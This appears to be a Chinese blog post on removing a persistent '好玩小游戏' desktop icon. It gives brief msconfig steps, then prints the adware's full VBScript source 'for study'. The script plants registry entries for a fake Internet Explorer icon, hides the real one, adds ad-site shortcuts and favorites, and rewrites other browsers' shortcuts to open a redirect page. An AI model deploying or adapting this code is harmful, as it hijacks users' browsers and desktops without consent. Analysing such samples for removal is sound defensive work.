删除桌面 “好玩小游戏” 图标

  出现这么个恶心的东西好长时间了，一直没法删，今天找了点时间摸索了一下，很简单

 

  1，开始    运行（输入msconfig）

  2，打开“系统配置”对话框

  3，选  “启动” 如下图

     

看到了吧，就那个路径去找吧，其它的就看着办吧：

 

    下面是那个东西的原代码 研究一下：

  Rem 8572
Dim WSHShell
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
on error resume next
strttWinDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")

Rem 8572
winds = WshShell.ExpandEnvironmentStrings("%SystemRoot%")

Dim URL,SysPath ,CLSIDTEXT
URL = "http://www.ez173.com/?ex2"
IcoPath = strttWinDir & "/javax/"
CLSIDTEXT = "{86AEFBE8-763F-0647-899C-A93278894D8E}"
Rem
iescc=strttWinDir&"/Internet Explorer/iexplore.exe"
ssd="属性"

WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/", "Internet Exploer"
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/DefaultIcon/", iescc
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/Shell/",""
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/Shell/D/", "删除(&D)"
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/Shell/D/Command/", "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/Shell/Open/", "打开主页(&H)"
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/Shell/"&ssd&"/", ssd
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/Shell/"&ssd&"/Command/", "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
WSHShell.regwrite "HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace/" & CLSIDTEXT & """/", "Internet Exploer"
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/ShellFolder/",""

Rem 8572

Set oShellLink = WshShell.CreateShortcut(strDesktop & "/好玩小游戏.lnk")
oShellLink.TargetPath = "%ProgramFiles%/Internet Explorer/iexplore.exe" : '目标
oShellLink.Arguments = "http://www.xlhs.com/?desk" :'程数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = IcoPath & "/game.ico, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%/Internet Explorer/" : '起始位置
oShellLink.Save : '创建保存快捷方式

Rem 8572

Set oUrlLink = WshShell.CreateShortcut(Favorites & "/在线小游戏.url")
oUrlLink.TargetPath = "http://www.xlhs.com/?fav"
oUrlLink.Save


WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/ShellFolder/Attributes",10,"REG_DWORD"
WSHShell.regwrite "HKCR/CLSID/" & CLSIDTEXT & "/Shell/Open/Command/", iescc &" " & URL

Rem 8572

'=========
set fso=createobject("scripting.filesystemobject")
'创建文件，参数1为forreading，2为forwriting，8为appending
set file=fso.createtextfile( strttWinDir&"/Common Files/winimg.html",2,ture)
'写入文件内容，有三种方法：write(x)写入x个字符，writeline写入换行，writeblanklines(n)写入n个空行
file.writeline "<script>window.location.href='"& URL &"';</script><meta http-equiv=""refresh"" content=""0;url="& URL &""">"
set file=fso.opentextfile(strttWinDir&"/Common Files/winimg.html",1,ture)
'关闭文件
file.close


Rem 8572

Sub EditUrl(lnktz)
Dim oldpath,newpath
oldpath = lnktz          
Dim Wsh,fso
newpath = """"&strttWinDir&"/Common Files/winimg.html"""
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

Dim Folders
Folders = Wsh.SpecialFolders("AllUsersDesktop")
   Set f = fso.GetFolder(Folders)
   Set fc = f.Files
   For Each f1 in fc
      ext = LCase(fso.GetExtensionName(f1))
      if ext = "lnk" then
           Set oShlnk = Wsh.CreateShortcut(f1)
        If Instr(oShLnk.TargetPath,oldpath) > 0 Then
       oShLnk.Arguments = newpath
       oShLnk.Save     
End If
   Set oShLnk=NoThing
      end if
   Next
Folders = Wsh.SpecialFolders.Item("AppData")& "/Microsoft/Internet Explorer/Quick Launch"
   Set f = fso.GetFolder(Folders)
   Set fc = f.Files
   For Each f1 in fc
      ext = LCase(fso.GetExtensionName(f1))
      if ext = "lnk" then
           Set oShlnk = Wsh.CreateShortcut(f1)
        If Instr(oShLnk.TargetPath,oldpath) > 0 Then
       oShLnk.Arguments = newpath
       oShLnk.Save     
End If
   Set oShLnk=NoThing
      end if
   Next
Dim oShlnk,Folder
Folder = Wsh.SpecialFolders("Desktop")
Dim f,fc,f1,ext
   Set f = fso.GetFolder(Folder)
   Set fc = f.Files
   For Each f1 in fc
      ext = LCase(fso.GetExtensionName(f1))
      if ext = "lnk" then
           Set oShlnk = Wsh.CreateShortcut(f1)
        If Instr(oShLnk.TargetPath,oldpath) > 0 Then
       oShLnk.Arguments = newpath
       oShLnk.Save     
End If
   Set oShLnk=NoThing
      end if
   Next
Folders = Wsh.SpecialFolders.Item("StartMenu")
   Set f = fso.GetFolder(Folders)
   Set fc = f.Files
   For Each f1 in fc
      ext = LCase(fso.GetExtensionName(f1))
      if ext = "lnk" then
           Set oShlnk = Wsh.CreateShortcut(f1)
        If Instr(oShLnk.TargetPath,oldpath) > 0 Then
       oShLnk.Arguments = newpath
       oShLnk.Save     
End If
   Set oShLnk=NoThing
      end if
   Next
Folders = Wsh.SpecialFolders.Item("AllUsersStartMenu")
   Set f = fso.GetFolder(Folders)
   Set fc = f.Files
   For Each f1 in fc
      ext = LCase(fso.GetExtensionName(f1))
      if ext = "lnk" then
           Set oShlnk = Wsh.CreateShortcut(f1)
        If Instr(oShLnk.TargetPath,oldpath) > 0 Then
       oShLnk.Arguments = newpath
       oShLnk.Save     
End If
   Set oShLnk=NoThing
      end if
   Next
Set WSH = Nothing
End Sub


'=========
Rem 8572
RegPath="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/HideDesktopIcons/NewStartPanel/{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/HideDesktopIcons/ClassicStartMenu/{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"


Call EditUrl("TTraveler"&".exe")
Call EditUrl("SogouExplorer.exe")
Call EditUrl("TheWorld.exe")
Call EditUrl("Maxthon.exe")
Call EditUrl("360SE"&".exe")
wscript.quit

Rem 8572